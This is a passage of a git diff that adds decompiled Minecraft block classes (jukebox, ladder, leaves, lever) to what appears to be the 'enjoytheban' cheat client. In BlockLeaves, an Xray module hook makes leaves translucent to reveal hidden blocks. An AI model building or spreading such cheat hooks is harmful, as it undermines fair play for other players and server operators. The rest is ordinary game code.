+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.TRANSLUCENT;
+  }
+  
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[Block.getIdFromBlock(this)]);
+    playerIn.addExhaustion(0.025F);
+    
+    if ((canSilkHarvest()) && (EnchantmentHelper.getSilkTouchModifier(playerIn)))
+    {
+      ItemStack var8 = createStackedBlock(state);
+      
+      if (var8 != null)
+      {
+        spawnAsEntity(worldIn, pos, var8);
+      }
+    }
+    else
+    {
+      if (provider.func_177500_n())
+      {
+        worldIn.setBlockToAir(pos);
+        return;
+      }
+      
+      int var6 = EnchantmentHelper.getFortuneModifier(playerIn);
+      dropBlockAsItem(worldIn, pos, state, var6);
+      Material var7 = worldIn.getBlockState(pos.offsetDown()).getBlock().getMaterial();
+      
+      if ((var7.blocksMovement()) || (var7.isLiquid()))
+      {
+        worldIn.setBlockState(pos, Blocks.flowing_water.getDefaultState());
+      }
+    }
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (worldIn.getLightFor(EnumSkyBlock.BLOCK, pos) > 11 - getLightOpacity())
+    {
+      if (provider.func_177500_n())
+      {
+        worldIn.setBlockToAir(pos);
+      }
+      else
+      {
+        dropBlockAsItem(worldIn, pos, worldIn.getBlockState(pos), 0);
+        worldIn.setBlockState(pos, Blocks.water.getDefaultState());
+      }
+    }
+  }
+  
+  public int getMobilityFlag()
+  {
+    return 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockJukebox.java b/src/minecraft/net/minecraft/block/BlockJukebox.java
new file mode 100644
index 0000000..796e72b
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockJukebox.java
@@ -0,0 +1,209 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class BlockJukebox extends BlockContainer
+{
+  public static final PropertyBool HAS_RECORD = PropertyBool.create("has_record");
+  private static final String __OBFID = "CL_00000260";
+  
+  protected BlockJukebox()
+  {
+    super(net.minecraft.block.material.Material.wood);
+    setDefaultState(blockState.getBaseState().withProperty(HAS_RECORD, Boolean.valueOf(false)));
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (((Boolean)state.getValue(HAS_RECORD)).booleanValue())
+    {
+      dropRecord(worldIn, pos, state);
+      state = state.withProperty(HAS_RECORD, Boolean.valueOf(false));
+      worldIn.setBlockState(pos, state, 2);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  public void insertRecord(World worldIn, BlockPos pos, IBlockState state, ItemStack recordStack)
+  {
+    if (!isRemote)
+    {
+      TileEntity var5 = worldIn.getTileEntity(pos);
+      
+      if ((var5 instanceof TileEntityJukebox))
+      {
+        ((TileEntityJukebox)var5).setRecord(new ItemStack(recordStack.getItem(), 1, recordStack.getMetadata()));
+        worldIn.setBlockState(pos, state.withProperty(HAS_RECORD, Boolean.valueOf(true)), 2);
+      }
+    }
+  }
+  
+  private void dropRecord(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      TileEntity var4 = worldIn.getTileEntity(pos);
+      
+      if ((var4 instanceof TileEntityJukebox))
+      {
+        TileEntityJukebox var5 = (TileEntityJukebox)var4;
+        ItemStack var6 = var5.getRecord();
+        
+        if (var6 != null)
+        {
+          worldIn.playAuxSFX(1005, pos, 0);
+          worldIn.func_175717_a(pos, null);
+          var5.setRecord(null);
+          float var7 = 0.7F;
+          double var8 = rand.nextFloat() * var7 + (1.0F - var7) * 0.5D;
+          double var10 = rand.nextFloat() * var7 + (1.0F - var7) * 0.2D + 0.6D;
+          double var12 = rand.nextFloat() * var7 + (1.0F - var7) * 0.5D;
+          ItemStack var14 = var6.copy();
+          EntityItem var15 = new EntityItem(worldIn, pos.getX() + var8, pos.getY() + var10, pos.getZ() + var12, var14);
+          var15.setDefaultPickupDelay();
+          worldIn.spawnEntityInWorld(var15);
+        }
+      }
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    dropRecord(worldIn, pos, state);
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    if (!isRemote)
+    {
+      super.dropBlockAsItemWithChance(worldIn, pos, state, chance, 0);
+    }
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityJukebox();
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    TileEntity var3 = worldIn.getTileEntity(pos);
+    
+    if ((var3 instanceof TileEntityJukebox))
+    {
+      ItemStack var4 = ((TileEntityJukebox)var3).getRecord();
+      
+      if (var4 != null)
+      {
+        return Item.getIdFromItem(var4.getItem()) + 1 - Item.getIdFromItem(Items.record_13);
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(HAS_RECORD, Boolean.valueOf(meta > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Boolean)state.getValue(HAS_RECORD)).booleanValue() ? 1 : 0;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { HAS_RECORD });
+  }
+  
+  public static class TileEntityJukebox extends TileEntity {
+    private ItemStack record;
+    private static final String __OBFID = "CL_00000261";
+    
+    public TileEntityJukebox() {}
+    
+    public void readFromNBT(NBTTagCompound compound) {
+      super.readFromNBT(compound);
+      
+      if (compound.hasKey("RecordItem", 10))
+      {
+        setRecord(ItemStack.loadItemStackFromNBT(compound.getCompoundTag("RecordItem")));
+      }
+      else if (compound.getInteger("Record") > 0)
+      {
+        setRecord(new ItemStack(Item.getItemById(compound.getInteger("Record")), 1, 0));
+      }
+    }
+    
+    public void writeToNBT(NBTTagCompound compound)
+    {
+      super.writeToNBT(compound);
+      
+      if (getRecord() != null)
+      {
+        compound.setTag("RecordItem", getRecord().writeToNBT(new NBTTagCompound()));
+      }
+    }
+    
+    public ItemStack getRecord()
+    {
+      return record;
+    }
+    
+    public void setRecord(ItemStack recordStack)
+    {
+      record = recordStack;
+      markDirty();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockLadder.java b/src/minecraft/net/minecraft/block/BlockLadder.java
new file mode 100644
index 0000000..3db5c84
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockLadder.java
@@ -0,0 +1,206 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockLadder extends Block
+{
+  public static final PropertyDirection field_176382_a = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  private static final String __OBFID = "CL_00000262";
+  
+  protected BlockLadder()
+  {
+    super(net.minecraft.block.material.Material.circuits);
+    setDefaultState(blockState.getBaseState().withProperty(field_176382_a, EnumFacing.NORTH));
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getCollisionBoundingBox(worldIn, pos, state);
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getSelectedBoundingBox(worldIn, pos);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    IBlockState var3 = access.getBlockState(pos);
+    
+    if (var3.getBlock() == this)
+    {
+      float var4 = 0.125F;
+      
+      switch (SwitchEnumFacing.field_180190_a[((EnumFacing)var3.getValue(field_176382_a)).ordinal()])
+      {
+      case 1: 
+        setBlockBounds(0.0F, 0.0F, 1.0F - var4, 1.0F, 1.0F, 1.0F);
+        break;
+      
+      case 2: 
+        setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, var4);
+        break;
+      
+      case 3: 
+        setBlockBounds(1.0F - var4, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+        break;
+      
+      case 4: 
+      default: 
+        setBlockBounds(0.0F, 0.0F, 0.0F, var4, 1.0F, 1.0F);
+      }
+    }
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return worldIn.getBlockState(pos.offsetNorth()).getBlock().isNormalCube() ? true : worldIn.getBlockState(pos.offsetEast()).getBlock().isNormalCube() ? true : worldIn.getBlockState(pos.offsetWest()).getBlock().isNormalCube() ? true : worldIn.getBlockState(pos.offsetSouth()).getBlock().isNormalCube();
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    if ((facing.getAxis().isHorizontal()) && (func_176381_b(worldIn, pos, facing)))
+    {
+      return getDefaultState().withProperty(field_176382_a, facing);
+    }
+    
+
+    Iterator var9 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    EnumFacing var10;
+    do
+    {
+      if (!var9.hasNext())
+      {
+        return getDefaultState();
+      }
+      
+      var10 = (EnumFacing)var9.next();
+    }
+    while (!func_176381_b(worldIn, pos, var10));
+    
+    return getDefaultState().withProperty(field_176382_a, var10);
+  }
+  
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    EnumFacing var5 = (EnumFacing)state.getValue(field_176382_a);
+    
+    if (!func_176381_b(worldIn, pos, var5))
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+    }
+    
+    super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+  }
+  
+  protected boolean func_176381_b(World worldIn, BlockPos p_176381_2_, EnumFacing p_176381_3_)
+  {
+    return worldIn.getBlockState(p_176381_2_.offset(p_176381_3_.getOpposite())).getBlock().isNormalCube();
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    EnumFacing var2 = EnumFacing.getFront(meta);
+    
+    if (var2.getAxis() == EnumFacing.Axis.Y)
+    {
+      var2 = EnumFacing.NORTH;
+    }
+    
+    return getDefaultState().withProperty(field_176382_a, var2);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumFacing)state.getValue(field_176382_a)).getIndex();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { field_176382_a });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_180190_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002104";
+    
+    static
+    {
+      try
+      {
+        field_180190_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180190_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180190_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180190_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockLeaves.java b/src/minecraft/net/minecraft/block/BlockLeaves.java
new file mode 100644
index 0000000..99cd0c5
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockLeaves.java
@@ -0,0 +1,315 @@
+package net.minecraft.block;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.render.Xray;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.ColorizerFoliage;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeColorHelper;
+
+public abstract class BlockLeaves extends BlockLeavesBase
+{
+  public static final PropertyBool field_176237_a = PropertyBool.create("decayable");
+  public static final PropertyBool field_176236_b = PropertyBool.create("check_decay");
+  int[] field_150128_a;
+  protected int field_150127_b;
+  protected boolean field_176238_O;
+  private static final String __OBFID = "CL_00000263";
+  
+  public BlockLeaves()
+  {
+    super(Material.leaves, false);
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabDecorations);
+    setHardness(0.2F);
+    setLightOpacity(1);
+    setStepSound(soundTypeGrass);
+  }
+  
+  public int getBlockColor()
+  {
+    return ColorizerFoliage.getFoliageColor(0.5D, 1.0D);
+  }
+  
+  public int getRenderColor(IBlockState state)
+  {
+    return ColorizerFoliage.getFoliageColorBasic();
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return BiomeColorHelper.func_180287_b(worldIn, pos);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    byte var4 = 1;
+    int var5 = var4 + 1;
+    int var6 = pos.getX();
+    int var7 = pos.getY();
+    int var8 = pos.getZ();
+    
+    if (worldIn.isAreaLoaded(new BlockPos(var6 - var5, var7 - var5, var8 - var5), new BlockPos(var6 + var5, var7 + var5, var8 + var5)))
+    {
+      for (int var9 = -var4; var9 <= var4; var9++)
+      {
+        for (int var10 = -var4; var10 <= var4; var10++)
+        {
+          for (int var11 = -var4; var11 <= var4; var11++)
+          {
+            BlockPos var12 = pos.add(var9, var10, var11);
+            IBlockState var13 = worldIn.getBlockState(var12);
+            
+            if ((var13.getBlock().getMaterial() == Material.leaves) && (!((Boolean)var13.getValue(field_176236_b)).booleanValue()))
+            {
+              worldIn.setBlockState(var12, var13.withProperty(field_176236_b, Boolean.valueOf(true)), 4);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      if ((((Boolean)state.getValue(field_176236_b)).booleanValue()) && (((Boolean)state.getValue(field_176237_a)).booleanValue()))
+      {
+        byte var5 = 4;
+        int var6 = var5 + 1;
+        int var7 = pos.getX();
+        int var8 = pos.getY();
+        int var9 = pos.getZ();
+        byte var10 = 32;
+        int var11 = var10 * var10;
+        int var12 = var10 / 2;
+        
+        if (field_150128_a == null)
+        {
+          field_150128_a = new int[var10 * var10 * var10];
+        }
+        
+
+
+        if (worldIn.isAreaLoaded(new BlockPos(var7 - var6, var8 - var6, var9 - var6), new BlockPos(var7 + var6, var8 + var6, var9 + var6)))
+        {
+
+
+
+          for (int var13 = -var5; var13 <= var5; var13++)
+          {
+            for (int var14 = -var5; var14 <= var5; var14++)
+            {
+              for (int var15 = -var5; var15 <= var5; var15++)
+              {
+                Block var16 = worldIn.getBlockState(new BlockPos(var7 + var13, var8 + var14, var9 + var15)).getBlock();
+                
+                if ((var16 != Blocks.log) && (var16 != Blocks.log2))
+                {
+                  if (var16.getMaterial() == Material.leaves)
+                  {
+                    field_150128_a[((var13 + var12) * var11 + (var14 + var12) * var10 + var15 + var12)] = -2;
+                  }
+                  else
+                  {
+                    field_150128_a[((var13 + var12) * var11 + (var14 + var12) * var10 + var15 + var12)] = -1;
+                  }
+                  
+                }
+                else {
+                  field_150128_a[((var13 + var12) * var11 + (var14 + var12) * var10 + var15 + var12)] = 0;
+                }
+              }
+            }
+          }
+          
+          for (var13 = 1; var13 <= 4; var13++)
+          {
+            for (int var14 = -var5; var14 <= var5; var14++)
+            {
+              for (int var15 = -var5; var15 <= var5; var15++)
+              {
+                for (int var17 = -var5; var17 <= var5; var17++)
+                {
+                  if (field_150128_a[((var14 + var12) * var11 + (var15 + var12) * var10 + var17 + var12)] == var13 - 1)
+                  {
+                    if (field_150128_a[((var14 + var12 - 1) * var11 + (var15 + var12) * var10 + var17 + var12)] == -2)
+                    {
+                      field_150128_a[((var14 + var12 - 1) * var11 + (var15 + var12) * var10 + var17 + var12)] = var13;
+                    }
+                    
+                    if (field_150128_a[((var14 + var12 + 1) * var11 + (var15 + var12) * var10 + var17 + var12)] == -2)
+                    {
+                      field_150128_a[((var14 + var12 + 1) * var11 + (var15 + var12) * var10 + var17 + var12)] = var13;
+                    }
+                    
+                    if (field_150128_a[((var14 + var12) * var11 + (var15 + var12 - 1) * var10 + var17 + var12)] == -2)
+                    {
+                      field_150128_a[((var14 + var12) * var11 + (var15 + var12 - 1) * var10 + var17 + var12)] = var13;
+                    }
+                    
+                    if (field_150128_a[((var14 + var12) * var11 + (var15 + var12 + 1) * var10 + var17 + var12)] == -2)
+                    {
+                      field_150128_a[((var14 + var12) * var11 + (var15 + var12 + 1) * var10 + var17 + var12)] = var13;
+                    }
+                    
+                    if (field_150128_a[((var14 + var12) * var11 + (var15 + var12) * var10 + (var17 + var12 - 1))] == -2)
+                    {
+                      field_150128_a[((var14 + var12) * var11 + (var15 + var12) * var10 + (var17 + var12 - 1))] = var13;
+                    }
+                    
+                    if (field_150128_a[((var14 + var12) * var11 + (var15 + var12) * var10 + var17 + var12 + 1)] == -2)
+                    {
+                      field_150128_a[((var14 + var12) * var11 + (var15 + var12) * var10 + var17 + var12 + 1)] = var13;
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+        
+        int var13 = field_150128_a[(var12 * var11 + var12 * var10 + var12)];
+        
+        if (var13 >= 0)
+        {
+          worldIn.setBlockState(pos, state.withProperty(field_176236_b, Boolean.valueOf(false)), 4);
+        }
+        else
+        {
+          func_176235_d(worldIn, pos);
+        }
+      }
+    }
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if ((worldIn.func_175727_C(pos.offsetUp())) && (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) && (rand.nextInt(15) == 1))
+    {
+      double var5 = pos.getX() + rand.nextFloat();
+      double var7 = pos.getY() - 0.05D;
+      double var9 = pos.getZ() + rand.nextFloat();
+      worldIn.spawnParticle(EnumParticleTypes.DRIP_WATER, var5, var7, var9, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+  }
+  
+  private void func_176235_d(World worldIn, BlockPos p_176235_2_)
+  {
+    dropBlockAsItem(worldIn, p_176235_2_, worldIn.getBlockState(p_176235_2_), 0);
+    worldIn.setBlockToAir(p_176235_2_);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return random.nextInt(20) == 0 ? 1 : 0;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.sapling);
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    if (!isRemote)
+    {
+      int var6 = func_176232_d(state);
+      
+      if (fortune > 0)
+      {
+        var6 -= (2 << fortune);
+        
+        if (var6 < 10)
+        {
+          var6 = 10;
+        }
+      }
+      
+      if (rand.nextInt(var6) == 0)
+      {
+        Item var7 = getItemDropped(state, rand, fortune);
+        spawnAsEntity(worldIn, pos, new ItemStack(var7, 1, damageDropped(state)));
+      }
+      
+      var6 = 200;
+      
+      if (fortune > 0)
+      {
+        var6 -= (10 << fortune);
+        
+        if (var6 < 40)
+        {
+          var6 = 40;
+        }
+      }
+      
+      func_176234_a(worldIn, pos, state, var6);
+    }
+  }
+  
+  protected void func_176234_a(World worldIn, BlockPos p_176234_2_, IBlockState p_176234_3_, int p_176234_4_) {}
+  
+  protected int func_176232_d(IBlockState p_176232_1_)
+  {
+    return 20;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return !field_150121_P;
+  }
+  
+
+
+
+  public void setGraphicsLevel(boolean p_150122_1_)
+  {
+    field_176238_O = p_150122_1_;
+    field_150121_P = p_150122_1_;
+    field_150127_b = (p_150122_1_ ? 0 : 1);
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    if (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled()) {
+      return EnumWorldBlockLayer.TRANSLUCENT;
+    }
+    return field_176238_O ? EnumWorldBlockLayer.CUTOUT_MIPPED : EnumWorldBlockLayer.SOLID;
+  }
+  
+  public boolean isVisuallyOpaque()
+  {
+    return false;
+  }
+  
+  public abstract BlockPlanks.EnumType func_176233_b(int paramInt);
+}
diff --git a/src/minecraft/net/minecraft/block/BlockLeavesBase.java b/src/minecraft/net/minecraft/block/BlockLeavesBase.java
new file mode 100644
index 0000000..dff72b9
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockLeavesBase.java
@@ -0,0 +1,51 @@
+package net.minecraft.block;
+
+import java.util.Map;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+import optifine.Config;
+
+public class BlockLeavesBase extends Block
+{
+  protected boolean field_150121_P;
+  private static final String __OBFID = "CL_00000326";
+  private static Map mapOriginalOpacity = new java.util.IdentityHashMap();
+  
+  protected BlockLeavesBase(Material materialIn, boolean fancyGraphics)
+  {
+    super(materialIn);
+    field_150121_P = fancyGraphics;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return (Config.isCullFacesLeaves()) && (worldIn.getBlockState(pos).getBlock() == this) ? false : super.shouldSideBeRendered(worldIn, pos, side);
+  }
+  
+  public static void setLightOpacity(Block block, int opacity)
+  {
+    if (!mapOriginalOpacity.containsKey(block))
+    {
+      mapOriginalOpacity.put(block, Integer.valueOf(block.getLightOpacity()));
+    }
+    
+    block.setLightOpacity(opacity);
+  }
+  
+  public static void restoreLightOpacity(Block block)
+  {
+    if (mapOriginalOpacity.containsKey(block))
+    {
+      int opacity = ((Integer)mapOriginalOpacity.get(block)).intValue();
+      setLightOpacity(block, opacity);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockLever.java b/src/minecraft/net/minecraft/block/BlockLever.java
new file mode 100644
index 0000000..36e2837
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockLever.java
@@ -0,0 +1,628 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockLever extends Block
+{
+  public static final PropertyEnum FACING = PropertyEnum.create("facing", EnumOrientation.class);
+  public static final PropertyBool POWERED = PropertyBool.create("powered");
+  private static final String __OBFID = "CL_00000264";
+  
+  protected BlockLever()
+  {
+    super(net.minecraft.block.material.Material.circuits);
+    setDefaultState(blockState.getBaseState().withProperty(FACING, EnumOrientation.NORTH).withProperty(POWERED, Boolean.valueOf(false)));
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabRedstone);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos pos, EnumFacing side)
+  {
+    return (side == EnumFacing.UP) && (World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) ? true : func_176358_d(worldIn, pos.offset(side.getOpposite()));
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown()) ? true : func_176358_d(worldIn, pos.offsetSouth()) ? true : func_176358_d(worldIn, pos.offsetNorth()) ? true : func_176358_d(worldIn, pos.offsetEast()) ? true : func_176358_d(worldIn, pos.offsetWest()) ? true : func_176358_d(worldIn, pos.offsetUp());
+  }
+  
+  protected boolean func_176358_d(World worldIn, BlockPos p_176358_2_)
+  {
+    return worldIn.getBlockState(p_176358_2_).getBlock().isNormalCube();
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    IBlockState var9 = getDefaultState().withProperty(POWERED, Boolean.valueOf(false));
+    
+    if (func_176358_d(worldIn, pos.offset(facing.getOpposite())))
+    {
+      return var9.withProperty(FACING, EnumOrientation.func_176856_a(facing, placer.func_174811_aO()));
+    }
+    
+
+    Iterator var10 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    EnumFacing var11;
+    do
+    {
+      if (!var10.hasNext())
+      {
+        if (World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown()))
+        {
+          return var9.withProperty(FACING, EnumOrientation.func_176856_a(EnumFacing.UP, placer.func_174811_aO()));
+        }
+        
+        return var9;
+      }
+      
+      var11 = (EnumFacing)var10.next();
+    }
+    while ((var11 == facing) || (!func_176358_d(worldIn, pos.offset(var11.getOpposite()))));
+    
+    return var9.withProperty(FACING, EnumOrientation.func_176856_a(var11, placer.func_174811_aO()));
+  }
+  
+
+  public static int func_176357_a(EnumFacing p_176357_0_)
+  {
+    switch (SwitchEnumFacing.FACING_LOOKUP[p_176357_0_.ordinal()])
+    {
+    case 1: 
+      return 0;
+    
+    case 2: 
+      return 5;
+    
+    case 3: 
+      return 4;
+    
+    case 4: 
+      return 3;
+    
+    case 5: 
+      return 2;
+    
+    case 6: 
+      return 1;
+    }
+    
+    return -1;
+  }
+  
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if ((func_176356_e(worldIn, pos)) && (!func_176358_d(worldIn, pos.offset(((EnumOrientation)state.getValue(FACING)).func_176852_c().getOpposite()))))
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  private boolean func_176356_e(World worldIn, BlockPos p_176356_2_)
+  {
+    if (canPlaceBlockAt(worldIn, p_176356_2_))
+    {
+      return true;
+    }
+    
+
+    dropBlockAsItem(worldIn, p_176356_2_, worldIn.getBlockState(p_176356_2_), 0);
+    worldIn.setBlockToAir(p_176356_2_);
+    return false;
+  }
+  
+
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    float var3 = 0.1875F;
+    
+    switch (SwitchEnumFacing.ORIENTATION_LOOKUP[((EnumOrientation)access.getBlockState(pos).getValue(FACING)).ordinal()])
+    {
+    case 1: 
+      setBlockBounds(0.0F, 0.2F, 0.5F - var3, var3 * 2.0F, 0.8F, 0.5F + var3);
+      break;
+    
+    case 2: 
+      setBlockBounds(1.0F - var3 * 2.0F, 0.2F, 0.5F - var3, 1.0F, 0.8F, 0.5F + var3);
+      break;
+    
+    case 3: 
+      setBlockBounds(0.5F - var3, 0.2F, 0.0F, 0.5F + var3, 0.8F, var3 * 2.0F);
+      break;
+    
+    case 4: 
